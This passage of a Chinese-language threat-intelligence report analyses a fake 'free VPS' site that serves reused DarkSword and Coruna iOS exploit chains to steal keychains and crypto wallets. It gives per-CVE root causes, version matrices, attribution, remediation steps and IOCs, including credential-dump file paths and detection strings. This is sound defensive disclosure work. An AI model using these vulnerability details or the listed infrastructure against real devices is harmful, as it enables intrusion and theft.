同时,样本经 group.html 投递的旧版本分支与公开披露的 Coruna 框架高度同源——其 Stage 模块以鸟类代号命名(cassowary / terrorbird / bluebird / jacurutu / seedbell / breezy15)、呈五链结构、整体覆盖 iOS 13–17.2.1,均与 Coruna 披露特征一致,系该框架的犯罪化复用。两套框架在本样本中由同一投递器按系统版本分流加载,构成覆盖 iOS 15.2–18.6.2 的双框架利用投递。
判定同源的三重关键指纹:
① 文件名直接同名——本样本解包后的sbx1_main.js,与 DarkSword 中 CVE-2025-43510(XNU 内核内存损坏)利用模块名完全一致,且全链文件与其官方清单逐一对映(见表 2-4);
② 原生载荷组件保留——app.js中可直接观察到!raw-loader!keychain_dump.js、!raw-loader!wifi_password_securityd.js、!raw-loader!icloud_dumper.js三个 DarkSword 原生窃取模块(后者即工具名 DarkSword-WIFI-DUMP 的来源);
③ 日志标签一致——app.js定义TAG = "CHAIN"/"MAIN"等,与 Lookout 公布的"系统统一日志中含 CHAIN、MAIN、DarkSword-WIFI-DUMP 标签,来源 mediaplaybackd"检测特征吻合。
表 2-8 漏洞利用链 CVE 映射(依据 Apple 安全公告、WebKit/dyld 官方提交与 GTIG 披露)
| 阶段 | DarkSword 模块 | CVE | 漏洞类型与技术根因 | 受影响组件 | 披露时 0day | 官方修复版本 |
|---|---|---|---|---|---|---|
| ① RCE(18.6 主入口) | rce_worker_18.6.js → runtime.js |
CVE-2025-43529 | JSC DFG JIT 写屏障缺失:StoreBarrierInsertionPhase 逃逸分析仅标记 Phi 节点本身、未标记经 Upsilon 传入的传递性值,导致 GC 异常,引发 UAF 与类型混淆 | WebKit / JSC | 是 | iOS 18.7.3 / 26.2 |
| ① RCE(18.4/18.5 入口) | rce_worker_18.4.js → runtime-legacy.js |
CVE-2025-31277 | JSC JIT 正则匹配类型混淆:正则匹配结果数组在全局对象进入异常状态时仍错误创建 Contiguous 类型数组,导致断言失效与内存损坏 | WebKit / JSC | 否 | iOS 18.6(本样本 18.6 目标已修复,故仅作 18.4/18.5 入口) |
| ② 用户态 PAC 绕过 | rce_worker_*.js | CVE-2026-20700 | dyld dlopen_from 中加载器向量数据存于常规栈而非持久化分配器,滥用栈上可写 dyld 敏感内部结构,绕过指针签名校验与内存保护 |
dyld | 是 | iOS 26.3(iOS 18 系列对应 18.7.6) |
| ③ SBX0:WebContent→GPU 逃逸 | sbx0_main.js → framework.js |
CVE-2025-14174 | ANGLE 组件越界内存访问:特定 WebGL 操作导致 GPU 进程越界内存写入 | GPU 进程 / WebKit | 是 | iOS 18.7.3 / 26.2 |
| ④ SBX1:GPU→mediaplaybackd 逃逸 | sbx1_main.js + common.js |
CVE-2025-43510 | XNU 内核内存损坏(锁状态检查不当):经 AppleM2ScalerCSCDriver 驱动 1 号选择器触发,借助 XPC 接口在 mediaplaybackd 构建任意函数调用原语 | XNU Kernel | 否 | iOS 18.7.2 / 26.1 |
| ⑤ 内核提权(LPE) | pe_main.js → app.js |
CVE-2025-43520 | XNU 内核内存损坏(越界写):构建物理内存与虚拟内存全量读写原语,实现内核态任意代码执行 | XNU Kernel | 否 | iOS 18.7.2 / 26.1(含 macOS 15.7.2) |
说明:表中"披露时 0day"指漏洞在 2025-12 ~ 2026-03 由 Apple 修复、GTIG 披露之时的状态(共 3 个:CVE-2026-20700、CVE-2025-43529、CVE-2025-14174)。截至本报告时间(2026-09),上述 6 个 CVE 均已分配编号、公开技术细节,并随 iOS 18.7.2 / 18.7.3 / 18.7.6 / 26.1 / 26.2 / 26.3 / 26.3.1 分批修复完毕——其中 iOS 18.7.6 与 iOS 26.3.1 为六个漏洞的全量修复版本。本犯罪活动系对上述已知漏洞(n-day)的再利用,目标为长期未更新的设备;这也意味着及时升级系统的用户已不在受影响范围。
准确的受影响具体版本
-
本样本直接命中的受影响版本(两条路径合并,已确认存在对应偏移表/校验哈希):
表 2-9 本样本覆盖的 iOS 版本矩阵
iOS 版本 build 所属利用路径 偏移数据来源 18.4 22E240 18.4/18.5 路径 polyfill.js18.4.1 22E252 18.4/18.5 路径 polyfill.js18.5 22F76 18.4/18.5 路径 polyfill.js18.6 22G86 两条路径均覆盖 rce_offsets+polyfill.js18.6.1 22G90 两条路径均覆盖 rce_offsets+polyfill.js18.6.2 22G100 两条路径均覆盖 rce_offsets+polyfill.js- 设备范围:投递层 UA 正则
/iPhone OS (\d+)[_.](\d+)/i仅匹配 UA 中含 "iPhone OS" 的设备,即 iPhone 与 iPod touch;iPad(移动 UA 为 "CPU OS"、桌面 UA 为 "Macintosh",均不含 "iPhone OS")不匹配该正则而直接返回,本样本不针对 iPad。DarkSword 偏移表覆盖 iPhone XS 及之后全系(Apple 公告口径的对应机型)。 - Coruna 路径(旧版本分支)直接命中的受影响版本:经
group.html投递,覆盖 iOS 15.2–15.8 / 16.0–16.6 / 17.0–17.1(判定条件iOS 15.2+或16.x或17.0–17.1,且排除16.7+;15.8 为 iOS 15 末版、16.6 为 16 系列上限)。group.html内部 Stage 模块可下探至 iOS 13.0(偏移表mmrZ0r分支甚至至 iOS 11),但本样本投递层将其实际下发范围收窄为该区间,与 DarkSword 路径互补。 - 不在本样本覆盖范围的 iOS 版本:①
iOS 13.0–15.1—— 低于 Coruna 分支投递下限(尽管 Coruna 框架的 buffout 链 CVE-2021-30952 可覆盖 13.0–15.1.1,本样本投递层不将其下发);②iOS 16.7+与iOS 17.2–18.3—— 投递层显式排除 16.7+(!(major===16 && minor>=7))、且 17.x 仅允许 17.0–17.1(尽管 cassowary/seedbell 可覆盖至 17.2.1),18.0–18.3 落入两框架之间的空隙;③iOS 18.7+—— 本样本 DarkSword 分支上限为 18.6(minor<=6),18.7 不在覆盖范围;④ 已升级至iOS 17.3+(cassowary 链 CVE-2024-23222 已修复)与iOS 18.7.2 / 18.7.3 / 26.x(DarkSword 路径已于 2025-12~2026-03 修复)的设备 —— 对应内核/WebKit 漏洞已修复,利用链失效。
- 设备范围:投递层 UA 正则
-
同一组漏洞的更宽受影响范围(DarkSword 套件整体):
- CVE-2025-43529 / CVE-2025-14174:影响 iOS 26 之前的所有版本(含 18.4–18.7.2),已修复于 iOS 18.7.3 / 26.2。
- CVE-2025-43510 / CVE-2025-43520:影响 iOS < 18.7.2 的版本,已修复于 iOS 18.7.2 / 26.1。
- CVE-2026-20700:影响 iOS ≤ 26.2 的全部版本(含本样本 18.4–18.6.2),已修复于 iOS 26.3。
-
UNC6353 归属依据与二次加工研判:版本范围(18.4–18.6.2)与 GTIG 归属 UNC6353 的 DarkSword 原生变体完全一致——UNC6748 变体后续已扩展至 18.6/18.7,PARS Defense 定制版更已支持 iOS 18.7,均与本样本不符。但需注意一处关键差异:本样本投递层
lk.js经 obfuscator.io 重度混淆,而 GTIG 评估 UNC6353 原生版本"代码全程未做混淆、OPSEC 缺陷明显"。据此判定:本样本应为第三方犯罪团伙在 UNC6353 原生工具包基础上二次加工(重新混淆 + 叠加钱包包名与 RSA 公钥)后的再分发版本,而非 UNC6353 组织直接运营。 -
全球受影响规模:据 StatCounter / TelemetryDeck 2026-02 数据测算,仅 DarkSword 区间(iOS 18.4–18.6.2)全球占比约 14.2%(约 2.22 亿台);计入 iOS 18 全系列中尚未修复的版本,潜在占比约 17.3%(约 2.7 亿台)。需补充的是,本样本经 Coruna 分支另覆盖 iOS 15.2–17.1(含 iOS 16 全系 16.0–16.6),该区间是大量存量设备的实际运行版本,叠加后实际暴露面显著大于仅按 18.4–18.6.2 估算的结果。目前无证据表明该漏洞链被用于攻击 iOS 26+ 设备。
-
官方处置结论:Apple 在 2025-12 紧急公告中确认 CVE-2025-14174 与 CVE-2025-43529 已被用于"针对特定个人的极复杂攻击活动",并建议立即升级;若无法及时更新,启用**封锁模式(Lockdown Mode)**可对此类利用提供额外防护。
3. 拓线分析
3.1 基础设施关联
表 3-1 关联域名与基础设施
| 资产 | 角色 | 备注 |
|---|---|---|
| polarnode.vip | 诱饵主域名 | 据称 2026-08-31 注册,无主体信息 |
| event.polarnode.vip | 活动落地页 | Next.js 站点,自动注入 lk.js |
| lk.wyincc.com | 恶意脚本与利用链 CDN | 托管 lk.js 及 dist/ 全量利用模块 |
| 13.248.210.49 | C2(:36887) | AWS Global Accelerator |
| 166.117.225.238 | 关联端点 | AWS Global Accelerator |
3.2 同源与版本研判
- 利用链具备完整中文开发注释,其 DarkSword 偏移表以 iOS 18.4–18.6.2 全系为核心(18.6 路径与 18.4/18.5 路径分别维护偏移数据),另经 Coruna 分支(
group.html)覆盖 iOS 15.2–17.1(含 iOS 16),覆盖全机型,工程化水平远高于一般脚本小子,更接近商用间谍软件或泄露利用框架的再分发。 - 投递侧"免费 VPS + 邀请裂变"的社会工程话术与载荷侧的"钱包定向窃取"形成完整业务闭环:用低成本诱饵换取高价值加密资产,符合"以窃密/获利为目的"的犯罪团伙动机,而非传统 APT 的政治/情报指向。
- 建议对
*.wyincc.com、*.polarnode.vip及其所有子域、上述两个 C2 IP 实施域名与网络层封锁。
3.3 附录:DarkSword 利用套件背景、泄露与滥用演化
- 来源与披露:DarkSword 是一套全链 iOS 利用套件,由 Google Threat Intelligence(GTIG,原 TAG)、iVerify、Lookout 于 2026-03 联合披露。命名源自植入代码中 WiFi 密码窃取模块的固定标签
DarkSword-WIFI-DUMP(本样本app.js中的wifi_password_securityd.js即对应此模块)。套件以纯 JavaScript 实现,全程无需注入 Mach-O 二进制,可绕过 PPL/SPTM 原语,链式利用 6 个漏洞(披露时含 3 个 0day)。 - 发现脉络与技术前身:2026 年初 Coruna iOS 漏洞工具包研究发布后,Lookout 追踪 UNC6353 关联域名
cdn[.]uacounter[.]com时发现高度同源域名cdncounter[.]net(共享 NS、注册商、注册时间,子域 IP 重叠)。该域名子域与两个被攻陷的乌克兰网站(顿巴斯新闻社novosti[.]dn[.]ua、第七行政上诉法院7aac[.]gov[.]ua)存在 JS 关联,页面中含指向它的恶意 iframe,核心文件rce_loader.js仅对 iOS 18.4–18.6.2 分发利用代码——该范围不在 Coruna 影响范围内,从而确认 DarkSword 是一套与 Coruna 并列的新工具包(指原始 DarkSword 投递;本样本在此基础上通过lk.js旧版本分支叠加了 Coruna 的group.html链,见 §2.4)。Coruna 被视为 DarkSword 的技术前身,提供 5 套完整漏洞利用链,构成后续套件的代码基础,两者共用基础设施。 - 在野时间:至少自 2025-11 起,被多家商业监控厂商(CSV)与国家背景组织用于针对沙特、土耳其、马来西亚、乌克兰等地特定个人的极复杂攻击。
- 投递方式与组织差异:三个组织共用 DarkSword 框架,但投递载体与目标筛选逻辑各异——
- UNC6353:攻陷乌克兰政府 / 新闻网站,植入 1px×1px 透明 iframe 加载
static.cdncounter.net,仅通过 IP 地址限制向乌克兰地区分发,源码含俄文注释; - UNC6748:搭建仿 Snapchat 钓鱼站
snapshare[.]chat,用会话存储uid做重复感染防护,非 iPhone / 非 Safari 访问时经x-safari-https协议强制跳转至 Safari; - PARS Defense:加入严格设备指纹校验(Apple Pay 支持、浏览器特性、WebGL2、调试器检测),未通过者双重重定向至合法网站以降低非目标暴露。
- 本样本(PolarNode)的"请在 Safari 中打开"引导页,与 UNC6748 的
x-safari-https跳转同属**"将访问收敛至 Safari"的筛选手法**;且本样本进一步叠加 obfuscator.io 混淆、钱包包名定向与"免费 VPS"诱饵,属典型的犯罪化二次加工。
- UNC6353:攻陷乌克兰政府 / 新闻网站,植入 1px×1px 透明 iframe 加载
- 事件时间线(综合 Apple 公告与 GTIG/iVerify/Lookout 披露):
2025-07-29 Apple 于 iOS 18.6 修复 CVE-2025-31277 2025 夏 UNC6353 使用 Coruna 对乌克兰网站发起水坑攻击 2025-11 初 UNC6748 搭建 snapshare[.]chat 钓鱼站攻击沙特,初始仅支持 iOS 18.4 2025-11 中 UNC6748 新增 iOS 18.6 支持(引入 CVE-2025-43529 模块) 2025-11 下旬 UNC6748 新增 iOS 18.7;PARS Defense 在土耳其适配 18.4–18.7 全版本 2025-12 Apple 于 iOS 18.7.2 / 26.1 修复 CVE-2025-43510、CVE-2025-43520; UNC6353 开始使用 DarkSword 对乌克兰发起新一轮水坑攻击 2025-12-12 Apple 于 iOS 18.7.3 / 26.2 修复 CVE-2025-43529、CVE-2025-14174 2026-02-11 Apple 于 iOS 26.3 修复 CVE-2026-20700(iOS 18 系列对应 18.7.6) 2026-02-12 Lookout 监测到乌克兰一家食品加工企业员工设备被 DarkSword 成功入侵 2026-03 GTIG / iVerify / Lookout 联合发布 DarkSword 完整研究报告 - 原始用途(情报/监控):披露的三个后续植入家族——
- GHOSTBLADE(UNC6353 使用的原生标准载荷):轻量定向数据窃取,无远程后门能力。覆盖七大类数据:iMessage / SMS / Telegram / WhatsApp 全量聊天、通话记录与通讯录、设备钥匙串与密钥包(含 Wi-Fi 密码)、位置历史、照片元数据与 iCloud Drive 文件、加密货币钱包文件与账户凭证(密码)、Safari 历史 / 书签 / Cookie、备忘录 / 日历 / 健康数据库、邮件索引、已安装应用列表、SIM 卡信息。痕迹清理能力较弱(仅删除
osanalytics诊断报告),代码未混淆并保留完整调试日志与 webpack 源码路径。 - GHOSTKNIFE(集群 UNC6748):经仿冒 Snapchat 钓鱼站
snapshare[.]chat投递,全功能 JS 后门,可窃取登录账户、消息、浏览器数据、位置与麦克风录音,支持下载文件 / 截屏 / 实时录音 / 任意代码执行;以 ECDH+AES 自定义协议通信,主动删除崩溃日志规避取证。 - GHOSTSABER(土耳其商业监控厂商 PARS Defense,针对土耳其/马来西亚):模块化可扩展后门,支持 15+ C2 指令,含文件窃取、任意 SQLite 查询、相册缩略图上传、任意 JS 执行(部分功能经运行时下发模块补全)。
- GHOSTBLADE(UNC6353 使用的原生标准载荷):轻量定向数据窃取,无远程后门能力。覆盖七大类数据:iMessage / SMS / Telegram / WhatsApp 全量聊天、通话记录与通讯录、设备钥匙串与密钥包(含 Wi-Fi 密码)、位置历史、照片元数据与 iCloud Drive 文件、加密货币钱包文件与账户凭证(密码)、Safari 历史 / 书签 / Cookie、备忘录 / 日历 / 健康数据库、邮件索引、已安装应用列表、SIM 卡信息。痕迹清理能力较弱(仅删除
- UNC6353 组织画像:该组织是 DarkSword 的主要使用者,也是此前 Coruna 漏洞工具包的核心操控者。综合评估为资金充足、资源渠道广泛,但技术成熟度较低的威胁主体,攻击动机同时覆盖经济获利与同俄罗斯情报需求对齐的间谍活动,大概率为俄罗斯背景的私掠组织或犯罪代理团伙。其核心目标为乌克兰政府机构、媒体、企业与个人,全部通过攻陷乌克兰本土合法网站发起水坑攻击(植入 1px×1px 透明 iframe,源码含俄文注释,由 CERT-UA 持续处置)。运营安全缺陷明显:恶意代码未混淆、iframe HTML 无隐藏、C2 接收端设计简陋;部分植入代码呈现借助大语言模型(LLM)开发的特征,推测其从第三方渠道购买完整工具包后仅做少量适配。
- 泄露与向网络犯罪演化:DarkSword 的利用模块(含
sbx1_main.js、各rce_worker_*.js与偏移表)在公开披露后被复制、改包,流入犯罪市场,攻击门槛降至极低。本报告的 PolarNode "免费 VPS" 活动即典型再分发案例:复用 DarkSword 的 18.4–18.6.2 利用链并保留其原生窃取组件(keychain_dump.js/wifi_password_securityd.js/icloud_dumper.js),在此基础上叠加定向加密货币钱包盗取(imToken / TronLink / 通用钱包)与中文界面的"免费 VPS"诱饵,完成从"国家背景监控"到"金融犯罪"的意图转换。值得补充的是,本样本并非仅复用 DarkSword——其投递器同时在旧版本分支加载 Coruna 的group.html利用链(目标 iOS 15.2–17.1,含 iOS 16.0–16.6),形成 DarkSword + Coruna 双框架共存于同一投递器的形态,按系统版本分流至最适框架以提高成功率,与公开披露的 "Darkuna" 混合变体趋势相符。 - 启示:商用/军用级利用框架一旦公开即迅速降维为犯罪工具;"0day 窗口"闭合后,未及时更新的设备仍长期暴露于 n-day 再利用之下——这正是本活动能够针对 15.2–18.6.2 用户大规模投放的技术前提。
4. 攻击战术与 ATT&CK 框架映射
表 4-1 技术行为描述
| ATT&CK 阶段 | 具体行为 | 注释 |
|---|---|---|
| 侦察 | 圈定技术/加密人群 | 在 VPS/IT/币圈论坛定向投放 |
| 资源开发 | 获取基础设施 | 注册新域名、搭建诱饵站与 CDN、部署 C2 |
| 资源开发 | 获取攻击能力 | 采购/复用 iOS 15.2–18.6.2 利用链(DarkSword + Coruna 双框架) |
| 初始访问 | 诱导访问( Drive-by ) | 落地页自动注入恶意脚本,访问即触发 |
| 执行 | 浏览器端代码执行 | WebKit/Safari 渲染期触发利用 |
| 防御规避 | 隐藏iframe + postMessage | 载荷隔离、降低主上下文可见性 |
| 防御规避 | obfuscator.io 重度混淆 | 字符串加密、控制流混淆 |
| 特权提升 | 沙箱逃逸 + 内核 RCE | SBX0(GPU 沙箱)→ SBX1(内核读写) |
| 防御规避 | PAC 绕过 | 利用链含 PACIZA/XPACI 类绕过原语 |
| 持久化/致效 | 注入系统进程 | app.js 注入高权限进程执行窃取 |
| 收集 | 数据窃取 | Keychain/SMS/通讯录/相册/备忘录/钱包 |
| 命令与控制 | 应用层协议回传 | 心跳 + 加密数据回传至 C2 |
| 渗出 | 通过 C2 信道回传 | 13.248.210.49:36887 等 |
5. 检测与防护建议
5.1 个人用户
- iOS 用户:立即将系统升级至 iOS 18.7.6 或 iOS 26.3.1——这两个版本是 DarkSword 全部 6 个漏洞的全量修复版本,可彻底覆盖本利用链的所有 n-day。运行 iOS 15.2–17.1(含 iOS 16.0–16.6)的设备同样处于风险中:该区间经
group.html/ Coruna 链投递,其底层漏洞 Apple 已于 2023–2024 修复,故升级至 iOS 17.3+(或 16.7.1+)即脱离 Coruna 路径;最稳妥仍是升级到最新版(iOS 18.7.6 / 26.3.1),可同时覆盖两条框架路径。若设备不支持新版系统,至少升级至 iOS 18.7.3 / 26.2 并启用封锁模式(Lockdown Mode);切勿访问来源不明的"免费 VPS / 空投 / 领取"类落地页,尤其来自论坛/社群私信的链接。 - 所有 iOS 浏览器共用系统 WebKit,修复依赖系统升级:Chrome / Firefox / Edge / Opera 与 App 内 WebView(微信、QQ、Telegram 等)在 iOS 上均使用系统 WebKit + JavaScriptCore,与 Safari 共用同一套渲染与 JIT 引擎;本链条的三个浏览器侧漏洞即位于该共享层。WebKit 只能随 iOS 系统更新修补,无法由浏览器 App 独立升级修复。因此系统停留在 15.2–18.6.2(含 iOS 16 等旧版本,经 DarkSword 或 Coruna 任一路径)的设备,无论使用哪款浏览器均处于该利用面之内;升级系统后所有浏览器一并获得修复。此外需警惕"请在 Safari 中打开 / Please open in Safari"一类强制切换浏览器的引导话术——本样本借此将访问引导至 Safari 后再加载利用模块(见 §2.3)。
- 访问过
polarnode.vip的 iOS 用户,应视为设备可能已完全沦陷:立即断网、修改所有账户口令与钱包、将加密资产转移至新生成的离线钱包(旧钱包私钥视为已泄露)、在可信设备重置 2FA,并考虑恢复出厂设置。 - 警惕"仅需邮箱即可预约"的高价值免费资源,此类无主体、无售后的站点本质即为攻击投递。
5.2 若已访问/点击:用户自查与应急处置
若你(或团队成员)已用 iPhone / iPod touch 打开过 event.polarnode.vip 或 polarnode.vip,由于该利用链可在无感知、无需任何点击授权的情况下取得内核级控制权并注入窃取模块,应默认设备已沦陷,按以下优先级处置(本样本 UA 判定仅匹配 iPhone / iPod touch,不含 iPad,见 §2.7)。需特别说明:本投递器覆盖 iOS 15.2–15.8 / 16.0–16.6 / 17.0–17.1(经 Coruna 链)与 iOS 18.4–18.6.2(经 DarkSword 链),长期未更新的旧版本设备同样在目标之内,不应因"系统不是 18.x"而放松警惕。
使用 Safari、Chrome / Firefox / Edge 等第三方浏览器、或微信 / QQ / Telegram 等 App 内 WebView 打开过该站点的情况,一律按本节处置:本样本在非 Safari 环境不加载利用模块,但会展示"请在 Safari 中打开"的引导页、诱导复制链接后改用 Safari 打开(见 §2.3);且 iOS 各浏览器共用系统 WebKit,系统版本处于 15.2–18.6.2(含 16.x)时该利用面对所有浏览器同样存在。
第一步:立即断网止损(阻断持续回传)
- 开启飞行模式 / 关闭 Wi-Fi 与蜂窝数据,切断与 C2(13.248.210.49:36887 等)的通信。
- 切勿在该设备上继续操作任何敏感账户或钱包。
第二步:在"干净侧"保全凭据(用另一台可信设备操作)
- 在未受感染的设备上修改所有重要账户口令(Apple ID、邮箱、社交、交易所、云盘)。
- 重置所有 2FA / 二次验证(攻击链明确采集 2fa 相关数据)。
- 加密资产最优先:将钱包资产转移到新生成、离线保管助记词的钱包;原钱包私钥/助记词视为已泄露,立即弃用。被点名的 imToken、TronLink 等钱包尤其如此。
第三步:判断是否需整机恢复
- iOS 缺乏可靠的"就地杀毒"手段,内核级植入的清除极难确保彻底,仅凭重启或杀毒 App 不足以保证安全。
- 强烈建议:在电脑导出必要数据(通信录/照片)后,执行「设置 → 通用 → 传输或还原 iPhone → 抹掉所有内容和设置」,再从干净备份恢复;不要直接恢复含被窃前的完整系统镜像(可能带回植入)。
- 还原后第一时间升级到已修复的 iOS 版本(推荐 iOS 18.7.6 / 26.3.1,见 §2.7 修复版本表),再导入数据。
第四步:可观察的异常信号(仅供参考,非确诊)
- 电池异常耗电、发热、流量激增(心跳回传特征);
- 出现未知配置描述文件(「设置 → 通用 → VPN 与设备管理」);
- Apple ID 异地登录、受信任设备被莫名添加;
- 钱包出现未经授权的转账/授权签名。
- 若具备取证条件(已越狱或可做完整备份分析),可检查 §6.3 列出的 DarkSword 通用痕迹路径(如
/private/var/tmp/keychain_dump.txt、*.kb、icloud_dump/)与系统日志中的CHAIN/MAIN/DarkSword-WIFI-DUMP标签。 - 注意:内核级利用通常不留下可见痕迹,且该载荷采用"打带跑"模式会自动清理痕迹,无症状 ≠ 安全,仍应按"已沦陷"处置。
第五步:上报与止损
- 向所在企业安全团队 / 平台举报该域名与链接;如涉及资金损失,保留页面截图与交易记录并向当地反诈中心(如 96110)报案。
5.3 企业 / 平台侧
- 域名与网络封锁:在 DNS / 防火墙 / EDR 层面封禁
*.polarnode.vip、*.wyincc.com及 IP13.248.210.49、166.117.225.238;对:36887出站连接告警。 - 邮件与论坛网关:对包含上述域名、以及"免费 VPS / 前 5000 名 / 邀请码"等话术的引流内容做关键词与 URL 信誉拦截;同时将 "请在 Safari 中打开 / Please open in Safari / This page does not support the current browser" 一类强制切换浏览器的话术纳入高风险社工特征库——在 iOS 生态中,此类引导几乎不出现在正常业务页面。
- 终端检测(EDR):重点监控 Safari/WebKit 渲染进程异常
postMessage、隐藏 iframe 创建、对navigator.userAgent的采集与CriOS|FxiOS|OPiOS|EdgiOS排除式判定、对/private/var、keychain-2.db、sms.db、AddressBook的非常规读取、以及进程注入系统进程的行为。由于 iOS 各浏览器共用系统 WebKit,检测范围需覆盖所有浏览器与 App 内 WebView 的 WKWebView。 - 移动设备管理(MDM):对高敏感岗位设备启用 iOS 自动更新策略与访问白名单,限制来源不明配置描述文件。
5.4 检测规则要点(IOC 速查)
# 域名 / URL
event.polarnode.vip
polarnode.vip
lk.wyincc.com
# IP
13.248.210.49
166.117.225.238
# 端口特征
*:36887 出站
# 文件特征(SHA-256)
lk.js 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
runtime.js a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
framework.js 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
common.js 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
app.js ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
# 字符串特征
rce_offsets / SBX0 / SBX1 / {{LPE_64BITE}} / device_source=782391
"Please open in Safari" / "This page does not support the current browser"
"Long press to copy link" / _sf_guide(非 Safari 引导层 DOM id)
CriOS|FxiOS|OPiOS|EdgiOS 排除式 UA 判定
keychain_dump.js / wifi_password_securityd.js / icloud_dumper.js
im.token.app / com.tronlink.hdwallet / com.global.wallet.ios
# DarkSword 通用恶意文件名
rce_loader.js / rce_module.js / rce_worker_18.4.js / rce_worker_18.6.js
sbx0_main_18.4.js / sbx1_main.js / pe_main.js
# 设备侧感染痕迹(/private/var/tmp/ 等)
keychain_dump.txt / keychain-2.db / *.kb / icloud_dump/
wifi_passwords.txt / wifi_passwords_securityd.txt
# 系统统一日志标签(来源进程 mediaplaybackd / SpringBoard)
CHAIN / MAIN / DarkSword-WIFI-DUMP
6. IOC 清单
6.1 网络指标
| 类型 | 值 | 角色 |
|---|---|---|
| 域名 | event.polarnode.vip | 诱饵落地页 |
| 域名 | polarnode.vip | 主域名 |
| 域名 | lk.wyincc.com | 恶意脚本/利用链 CDN |
| IP | 13.248.210.49 | C2(:36887),AWS GA |
| IP | 166.117.225.238 | 关联端点,AWS GA |
| URL | https://lk.wyincc.com/lk.js | 投递脚本 |
| URL | https://lk.wyincc.com/dist/sandbox.html | iframe 利用载体 |
| URL | https://lk.wyincc.com/dist/chunks/{vendor,runtime,framework,common,sbx1_main,app}.js | 级联利用模块 |
6.2 文件哈希(SHA-256)
| 文件 | SHA-256 |
|---|---|
| lk.js | 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70 |
| dist/sandbox.html | 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54 |
| group.html | 99d0589e803ed000ea86d3ca143610b38af1dba0beb0cc32b9e9c2414a03a91b |
| dist/chunks/runtime.js | a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b |
| dist/chunks/runtime-legacy.js | afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53 |
| dist/chunks/polyfill.js | f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236 |
| dist/chunks/vendor.js | 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510(6,649 B) |
| dist/chunks/framework.js | 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b(351 KB) |
| dist/chunks/common.js | 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8 |
| dist/chunks/sbx1_main.js | 55f7d9e99b8e2d4e0e193b2f0275501e6d9c1ebd29cadbea6a0da48a8587e3e0 |
| dist/chunks/app.js | ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017 |
说明:
vendor.js(6,649 B)与framework.js(351 KB)为两个不同文件,哈希已按实际文件分列于上表。全部哈希均来自本次被动取证下载(sha256sum校验)。
6.3 设备侧感染痕迹指标(DarkSword 通用)
除本样本专属 IOC 外,DarkSword 套件在受感染设备上会留下以下通用痕迹,可用于已访问用户的自查与取证:
| 类型 | 指标 |
|---|---|
| 恶意文件名 | rce_loader.js、rce_module.js、rce_worker_18.4.js、rce_worker_18.6.js、sbx0_main_18.4.js、sbx1_main.js、pe_main.js |
| 钥匙串导出 | /private/var/tmp/keychain_dump.txt、/private/var/tmp/keychain-2.db |
| 密钥包副本 | /private/var/tmp/*.kb、/private/var/keybags/(systembag.kb / persona.kb / usersession.kb) |
| WiFi 密码导出 | /private/var/tmp/wifi_passwords.txt、/private/var/tmp/wifi_passwords_securityd.txt |
| iCloud 导出 | /private/var/tmp/icloud_dump/ |
| 系统日志标签 | 统一日志中含 CHAIN、MAIN、DarkSword-WIFI-DUMP,来源进程为 mediaplaybackd / SpringBoard |
| 进程异常 | 短时间内大量 WebContent / GPU 进程崩溃记录,或 mediaplaybackd 出现异常网络流量 |
说明:DarkSword 无独立植入进程,仅借助系统原生进程执行恶意代码,传统杀毒软件难以检测;且采用"打带跑"模式(窃取完成后清理痕迹并退出、无持久化),上述痕迹可能已被清理。因此未发现痕迹 ≠ 未被入侵,仍应按"已沦陷"标准处置。
7. 小结
本次"极点云 PolarNode 免费 VPS"活动并非真实的云服务推广,而是一个以社工诱饵掩盖的高危 iOS 攻击投递平台。其技术链条完整且工程化成熟:
- 投递零门槛:仿冒云厂商落地页通过 Next.js
afterInteractive在访问即自动加载lk.wyincc.com/lk.js,无需任何用户点击。投递层经 UA 判定后,仅在 iOS Safari 中加载利用模块,对桌面、Android 以及 iOS 第三方浏览器与 App 内 WebView 则展示"请在 Safari 中打开"引导页,将访问收敛至可控性最高的执行环境;由于 iOS 上所有浏览器均共用系统 WebKit + JavaScriptCore、且三个浏览器侧漏洞位于该共享层,该利用面的存在与否由系统版本决定,与浏览器选择无关(见 §2.3)。 - 双框架覆盖 iOS 15.2–18.6.2:投递器按系统版本分流至两套框架——iOS 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2(22E240/22E252/22F76/22G86/22G90/22G100)经 DarkSword(
vendor.js分流至两条利用路径、rce_offsets与polyfill.js双偏移表),iOS 15.2–17.1(含 iOS 16.0–16.6,排除 16.7+)经 Coruna(group.html+ 鸟类代号 Stage 模块)。DarkSword 链链式利用 6 个 CVE(披露时含 3 个 0day),经 RCE → dyld PAC 绕过 → 两级沙箱逃逸(WebContent→GPU→mediaplaybackd)→ 内核提权,全程纯 JavaScript 实现,无需注入二进制;Coruna 链则以 23 个漏洞 / 5 条利用链覆盖旧版本。 - 目标极明确:最终载荷
app.js注入SpringBoard/configd/wifid/securityd/UserEventAgent,直取钥匙串与密钥包、短信、通讯录、相册、备忘录、iCloud、位置与健康数据,并叠加加密货币钱包定向窃取(imToken / TronLink / 通用钱包),为典型的加密资产定向间谍软件。 - 基础设施弹性:C2 位于 AWS Global Accelerator 之后,且回传地址由服务端 base64 配置对象动态下发(不同受害者可不同);域名极新、无主体信息,具备快速弃用与转移能力——实测探测已被长亭 SafeLine WAF 拦截,表明其仍在活跃运营。
